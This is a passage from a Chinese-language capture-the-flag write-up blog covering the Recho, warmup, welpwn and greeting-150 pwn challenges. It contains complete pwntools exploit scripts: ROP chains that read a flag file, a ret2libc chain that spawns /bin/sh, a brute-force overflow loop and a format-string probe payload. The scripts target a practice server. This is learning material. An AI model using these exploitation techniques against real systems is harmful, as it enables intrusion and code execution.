href=\"https:\/\/bbs.pediy.com\/user-home-800468.htm\">\u987e\u8a00\u5ead<\/a><\/h3>\n<pre><code class=\"language-python\">import sys\nfrom pwn import *\nfrom LibcSearcher import LibcSearcher\n\nrv = lambda                      : io.recv()\nrl = lambda a=False              : io.recvline(a)\nru = lambda a,b=True             : io.recvuntil(a,b)\nrn = lambda x                    : io.recvn(x)\nse = lambda x                    : io.send(x)\nsl = lambda x                    : io.sendline(x)\nsa = lambda a,b                  : io.sendafter(a,b)\nsla = lambda a,b                 : io.sendlineafter(a,b)\nsconnect = lambda                : io.interactive()\n\ncontext.log_level = &quot;DEBUG&quot;\npwn_file = &#039;.\/Recho&#039;\nelf = ELF(pwn_file)\n\nif len(sys.argv) &lt; 2:\n    IS_LOCAL = 1\n    io = process(pwn_file)\nelse:\n    IS_LOCAL = 0\n    sys_argv = sys.argv[1].split(&#039;:&#039;)\n    io = remote(sys_argv[0], int(sys_argv[1]))\n#---------------------------------------------------------\nflag_str = 0x0000000000601058\npop_rax_ret = 0x00000000004006fc\npop_rdi_ret = 0x00000000004008a3\nsave_flag_addr = 0x0000000000601060\nadd_ptr_rdi_al = 0x000000000040070d\nsysenter_addr = alarm_addr = elf.got[&#039;alarm&#039;]\n\ndef com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):\n    payload  = p64(part1)   # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret\n    payload += p64(0x0)     # rbx must be 0x0\n    payload += p64(0x1)     # rbp must be 0x1\n    payload += p64(jmp2)    # r12 jump to\n    payload += p64(arg3)    # r13 -&gt; rdx    arg3\n    payload += p64(arg2)    # r14 -&gt; rsi    arg2\n    payload += p64(arg1)    # r15 -&gt; edx    arg1\n    payload += p64(part2)   # part2 entry will call [r12+rbx*0x8]\n    payload += b&#039;A&#039; * 56     # junk 6*8+8=56\n    return payload\n\np1 = 0x40089A\np2 = 0x400880\npayload = b&#039;A&#039;*0x38+p64(pop_rax_ret)+p64(5)+p64(pop_rdi_ret)+p64(alarm_addr)+p64(add_ptr_rdi_al) \\\n+ p64(pop_rax_ret)+p64(2)+com_gadget(p1,p2,sysenter_addr,flag_str,0) \\\n+ com_gadget(p1,p2,elf.got[&#039;read&#039;],3,save_flag_addr,50) \\\n+ com_gadget(p1,p2,elf.got[&#039;write&#039;],1,save_flag_addr,50)\n\nif IS_LOCAL:\n    gdb.attach(io,&quot;break *0x400889\\nc&quot;)\n    pause()\n\nrv()\nse(str(len(payload)))\nse(payload)\nrv()\nio.shutdown(&#039;write&#039;)\nprint(rv())<\/code><\/pre>\n<p>\u5728\u8fd0\u884c\u5e08\u5085\u811a\u672c\u7684\u65f6\u5019\u51fa\u73b0\u4e86\u8fd9\u6837\u7684\u95ee\u9898\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025610.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025610.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329155211392\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<h3>EXP\uff1a   <a href=\"https:\/\/blog.csdn.net\/xidoo1234\">\u8bf7\u52a1\u5fc5\u8ba9\u6211\u6765!<\/a><\/h3>\n<pre><code class=\"language-python\">#! \/usr\/bin\/env python\nfrom pwn import *\ncontext.log_level = &#039;debug&#039;\nelf=ELF(&#039;.\/Recho&#039;)\np=remote(&#039;111.200.241.244&#039;,61232)\n#prdi=0x4008a3\n#prsi=0x4008a1\n#prdx=0x4006fe\n#prax=0x4006fc\n#padd=0x40070d\n#flag=0x601058\n#bss=0x601090\nalarm=elf.plt[&#039;alarm&#039;]\nread=elf.plt[&#039;read&#039;]\nwrite=elf.plt[&#039;write&#039;]\nprintf=elf.plt[&#039;printf&#039;]\nalarm_got=elf.got[&#039;alarm&#039;]\npayload=b&#039;a&#039;*0x38\npayload+=p64(0x4006fc)+p64(0x5)\npayload+=p64(0x4008a3)+p64(alarm_got)\npayload+=p64(0x40070d)\npayload+=p64(0x4006fc)+p64(0x2)\npayload+=p64(0x4008a3)+p64(0x601058)\npayload+=p64(0x4006fe)+p64(0)\npayload+=p64(0x4008a1)+p64(0)+p64(0)\npayload+=p64(alarm)\npayload+=p64(0x4008a3)+p64(3)      \npayload+=p64(0x4008a1)+p64(0x601090+0x500)+p64(0)\npayload+=p64(0x4006fe)+p64(0x30)\npayload+=p64(read)\npayload+=p64(0x4008a3)+p64(0x601090+0x500)\npayload+=p64(printf)\np.recvuntil(&#039;Welcome to Recho server!\\n&#039;)\np.sendline(str(0x200))\npayload=payload.ljust(0x200,b&#039;\\x00&#039;)\np.send(payload)\np.recv()\np.shutdown(&#039;send&#039;)\np.interactive()\np.close()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025611.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025611.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329161913936\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>warmup<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025613.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025613.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329162809671\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u9898\u76ee\u6ca1\u6709\u7ed9\u9644\u4ef6\uff0c\u8fdc\u7a0b\u8fde\u63a5:<\/p>\n<pre><code class=\"language-bash\">nc 111.200.241.244 65049<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025614.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025614.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329163154394\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u53ea\u80fdFUZZ\u4e86\uff0c\u963f\u5df4\u963f\u5df4<\/p>\n<blockquote>\n<p>\u6a21\u7cca\u6d4b\u8bd5 \uff08fuzz testing, fuzzing\uff09\u662f\u4e00\u79cd\u8f6f\u4ef6\u6d4b\u8bd5\u6280\u672f\u3002\u5176\u6838\u5fc3\u601d\u60f3\u662f\u81ea\u52a8\u6216\u534a\u81ea\u52a8\u7684\u751f\u6210\u968f\u673a\u6570\u636e\u8f93\u5165\u5230\u4e00\u4e2a\u7a0b\u5e8f\u4e2d\uff0c\u5e76\u76d1\u89c6\u7a0b\u5e8f\u5f02\u5e38\uff0c\u5982\u5d29\u6e83\uff0c\u65ad\u8a00(assertion)\u5931\u8d25\uff0c\u4ee5\u53d1\u73b0\u53ef\u80fd\u7684\u7a0b\u5e8f\u9519\u8bef\uff0c\u6bd4\u5982\u5185\u5b58\u6cc4\u6f0f\u3002\u6a21\u7cca\u6d4b\u8bd5\u5e38\u5e38\u7528\u4e8e\u68c0\u6d4b\u8f6f\u4ef6\u6216\u8ba1\u7b97\u673a\u7cfb\u7edf\u7684\u5b89\u5168\u6f0f\u6d1e\u3002<\/p>\n<\/blockquote>\n<p>\u7531\u4e8e\u6ca1\u6709\u9644\u4ef6\uff0c\u53ea\u80fd\u6a21\u7cca\u6d4b\u8bd5\uff0c\u6240\u4ee5\u8981\u5206\u4e09\u79cd\u60c5\u51b5\u53bbpwn:<\/p>\n<ul>\n<li>\n<p>\u4f7f\u7528\u5b83\u7ed9\u7684\u5730\u5740\uff1a<\/p>\n<ul>\n<li>p32<\/li>\n<li>p64<\/li>\n<\/ul>\n<\/li>\n<li>\n<p>\u4e0d\u4f7f\u7528\u5b83\u7ed9\u7684\u5730\u5740<\/p>\n<\/li>\n<\/ul>\n<p>\u7531\u4e8e\u6ea2\u51fa\u503c\u4e0d\u77e5\u9053\u53ea\u80fd\u6328\u4e2a\u5c1d\u8bd5:<\/p>\n<h3>EXP\uff1a<\/h3>\n<pre><code class=\"language-python\">from pwn import *\naddr = 0x40060d\nfor i in range(70,75):\n    print(i)\n    r = remote(&quot;111.200.241.244&quot;,50304)\n    payload = b&#039;a&#039;*i + p64(addr)\n    r.recvuntil(b&#039;&gt;&#039;)\n    r.sendline(payload)\n    r.interactive()\n    r.sendline(b&#039;ls&#039;)\n    r.sendline(b&#039;ls&#039;)<\/code><\/pre>\n<h2>welpwn<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025615.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025615.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329212931328\" style=\"zoom: 50%;\" \/><\/div><\/p>\n<p>\u968f\u4fbf\u67e5\u770b\u4e00\u4e0b\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025616.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025616.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329213325593\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u62d6\u5230IDA\u5185\u67e5\u770b\u903b\u8f91\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char buf; \/\/ [rsp+0h] [rbp-400h]\n  write(1, &quot;Welcome to RCTF\\n&quot;, 0x10uLL);\n  fflush(_bss_start);\n  read(0, &amp;buf, 0x400uLL);\n  echo(&amp;buf, &amp;buf);\n  return 0;\n}<\/code><\/pre>\n<p>\u6211\u4e00\u770b\u5c31\u61f5\u4e86\uff0c\u770b\u4e86\u597d\u51e0\u904d\u53cd\u5e94\u8fc7\u6765echo\u662f\u4e2a\u51fd\u6570\u3002\u3002\u3002\u3002<\/p>\n<pre><code class=\"language-c\">int __fastcall echo(__int64 a1)\n{\n  char s2[16]; \/\/ [rsp+10h] [rbp-10h]\n\n  for ( i = 0; *(_BYTE *)(i + a1); ++i )\n    s2[i] = *(_BYTE *)(i + a1);\n  s2[i] = 0;\n  if ( !strcmp(&quot;ROIS&quot;, s2) )\n  {\n    printf(&quot;RCTF{Welcome}&quot;, s2);\n    puts(&quot; is not flag&quot;);\n  }\n  return printf(&quot;%s&quot;, s2);\n}<\/code><\/pre>\n<p>echo\u51fd\u6570\u662f\u5faa\u73af\u8d4b\u503cread\u51fd\u6570\u8bfb\u53d6\u7684\u6570\u503c\uff0c\u5e76\u6253\u5370\u51fa\u6765\uff0c\u4e14\u9047\u52300\u65f6\u505c\u6b62\u8d4b\u503c\uff0c\u901a\u8fc7\u6c47\u7f16\u53ef\u4ee5\u77e5\u9053echo\u51fd\u6570\u7533\u8bf7\u7684\u6808\u7a7a\u95f4\u5927\u5c0f\u662f0x20\u4e2a\u5b57\u8282\uff0c\u800cread\u51fd\u6570\u8bfb\u53d6\u7684\u5b57\u8282\u5927\u5c0f\u65f60x400\u4e2a\u5b57\u8282\uff0c\u8fd9\u65f6\u5019\u53ef\u4ee5\u77e5\u9053\u901a\u8fc7\u5faa\u73af\u8bfb\u53d6\u9020\u6210\u6808\u7684\u6ea2\u51fa\u3002<\/p>\n<h3>EXP\uff1a<\/h3>\n<pre><code class=\"language-python\">from pwn import*\nfrom LibcSearcher import*\np = remote(&quot;111.200.241.244&quot;,51718)\nelf = ELF(&quot;welpwn&quot;)\ncontext.log_level = &#039;debug&#039;\nputs_addr = elf.symbols[&quot;puts&quot;]\nwrite_plt = elf.symbols[&quot;write&quot;]\nwrite_got = elf.got[&quot;write&quot;]\njunk = 24\nrop1 = 0x040089A\nrop2 = 0x0400880\npop4r = 0x000000000040089c\npopr = 0x04008a3\nmain_addr = 0x04007CD\np.recv()\npayload = junk*&#039;A&#039;+p64(pop4r)+p64(rop1)+p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)+p64(rop2)\npayload += 56*&#039;C&#039;+p64(main_addr)\np.send(payload)\nwrite_addr = u64(p.recv(8))\nprint(hex(write_addr))\nlibc = LibcSearcher(&quot;write&quot;,write_addr)\nwrite_libc = libc.dump(&quot;write&quot;)\noffset = write_addr-write_libc\nsys_addr = libc.dump(&quot;system&quot;)+offset\nbinsh_addr = libc.dump(&quot;str_bin_sh&quot;)+offset\npayload = junk*&#039;A&#039;+p64(pop4r)+p64(popr)+p64(binsh_addr)+p64(sys_addr)\np.recv()\np.send(payload)\n#print p.recv()\np.interactive()<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025617.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025617.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220329214314638\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>greeting-150<\/h2>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025618.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025618.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330182353369\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u67e5\u770b\u4e00\u4e0b\u57fa\u7840\u4fe1\u606f\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025619.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025619.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330182803477\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u62d6\u5230IDA\u67e5\u770b\u4e00\u4e0b\u903b\u8f91\uff1a<\/p>\n<pre><code class=\"language-c\">int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char s; \/\/ [esp+1Ch] [ebp-84h]\n  char v5; \/\/ [esp+5Ch] [ebp-44h]\n  unsigned int v6; \/\/ [esp+9Ch] [ebp-4h]\n\n  v6 = __readgsdword(0x14u);\n  printf(&quot;Please tell me your name... &quot;);\n  if ( !getnline(&amp;v5, 64) )\n    return puts(&quot;Don&#039;t ignore me ;( &quot;);\n  sprintf(&amp;s, &quot;Nice to meet you, %s :)\\n&quot;, &amp;v5);\n  return printf(&amp;s);\n}<\/code><\/pre>\n<pre><code class=\"language-c\">size_t __cdecl getnline(char *s, int n)\n{\n  char *v3; \/\/ [esp+1Ch] [ebp-Ch]\n\n  fgets(s, n, stdin);\n  v3 = strchr(s, 10);\n  if ( v3 )\n    *v3 = 0;\n  return strlen(s);\n}<\/code><\/pre>\n<p>\u6700\u540e\u8fd4\u56de\u7684<code>printf(&amp;s)<\/code>\u5b58\u5728\u683c\u5f0f\u5316\u5b57\u7b26\u4e32\u6f0f\u6d1e\uff0c\u9020\u6210\u4e86\u4efb\u610f\u5730\u5740\u7684\u8bfb\u5199\uff0c\u6d4b\u8bd5\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">aaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025620.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025620.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330184805978\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u683c\u5f0f\u5b57\u7b26\u4e32\u7684\u7b2c12\u4e2a\u53c2\u6570, \u8fd9\u91cc\u5f80\u524d2\u4e2a\u5b57\u8282\u662faa\uff0c \u586b\u51452\u4e2a\u5b57\u8282\u3002 \u7136\u540e\u7528&quot;%c&quot;, &quot;%n&quot;\u53ef\u4ee5\u4fee\u6539\u8be5\u4f4d\u7f6e\u7684\u6570\u636e, \u8fd9\u91cc\u9700\u8981\u53cc\u5b57\u8282\u4fee\u6539<\/p>\n<blockquote>\n<p><code>\u5728printf\u7684\u683c\u5f0f\u5316\u4fee\u9970\u7b26\u4e2d\uff0chn \u4e3aWORD(\u5b57),hhn\u4e3aBYTE(\u5b57\u8282),n\u4e3aDWORD(\u53cc\u5b57)<\/code><\/p>\n<\/blockquote>\n<p>\u7136\u540e\u5c31\u4e0d\u4f1a\u4e86\uff0c\u770b\u5927\u4f6c\u4eecwp\u601d\u8def\u662f\uff1a<code>.fini.array<\/code>\u4e2d\u7684\u51fd\u6570\u5728<code>main<\/code>\u7ed3\u675f\u65f6\u88ab\u8c03\u7528\uff0c\u4fee\u6539\u5176\u4e2d\u7684\u51fd\u6570\u5730\u5740\u4e3a<code>_start<\/code>\uff0c\u770b\u5230\u4e86\u8fd9\u6837\u4e00\u5e45\u56fe\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/img-blog.csdnimg.cn\/20210328203134944.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2MDk5OA==,size_16,color_FFFFFF,t_70#'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/img-blog.csdnimg.cn\/20210328203134944.png?x-oss-process=image\/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2MDk5OA==,size_16,color_FFFFFF,t_70#\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"img\" style=\"zoom: 80%;\" \/><\/div><\/p>\n<p>\u7a0b\u5e8f\u9000\u51fa\u540e\u4f1a\u4f9d\u6b21\u904d\u5386<code> .fini_array<\/code> \u4e2d\u7684\u6bcf\u4e00\u4e2a\u51fd\u6570\u6307\u9488\uff0c\u90a3\u5982\u679c\u628a <code>start<\/code> \u6216\u8005 <code>main<\/code> \u51fd\u6570\u7684\u5730\u5740\u8986\u5199\u5230\u8fd9\u91cc\uff0c\u5c31\u4f1a\u4f7f\u7a0b\u5e8f\u91cd\u65b0\u6267\u884c\u3002<\/p>\n<blockquote>\n<p>\u8be6\u7ec6\u53ef\u4ee5\u53c2\u8003\uff1a<a href=\"https:\/\/www.freebuf.com\/articles\/system\/226003.html\">\u8be6\u89e364\u4f4d\u9759\u6001\u7f16\u8bd1\u7a0b\u5e8f\u7684fini_array\u52ab\u6301\u53caROP\u653b\u51fb - FreeBuf\u7f51\u7edc\u5b89\u5168\u884c\u4e1a\u95e8\u6237<\/a><\/p>\n<\/blockquote>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025621.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025621.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220330191330757\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u7531\u4e0a\u9762\u7684\u57fa\u672c\u4fe1\u606f\u53ef\u4ee5\u77e5\u9053\uff0cgot\u8868\u53ef\u5199\uff0c<\/p>\n<ul>\n<li>\u8986\u76d6 <code>fini_array<\/code> \u4e3a <code>main<\/code> <\/li>\n<li>\u8986\u76d6 <code>strlen got<\/code> \u4e3a <code>system_plt<\/code><\/li>\n<li>\u4f20\u53c2<code>\u201c\/bin\/sh\u201d<\/code><\/li>\n<\/ul>\n<p>\u7531\u4e8e<code>.fini.array<\/code>\u4e2d\u539f\u6709\u7684\u6570\u636e\u548c<code>_start<\/code>\u9ad8\u4e24\u4f4d\u90fd\u4e00\u6837\uff0c\u53ea\u9700\u8981\u4fee\u6539\u540e\u4e24\u4f4d\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025622.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202402040025622.png\" 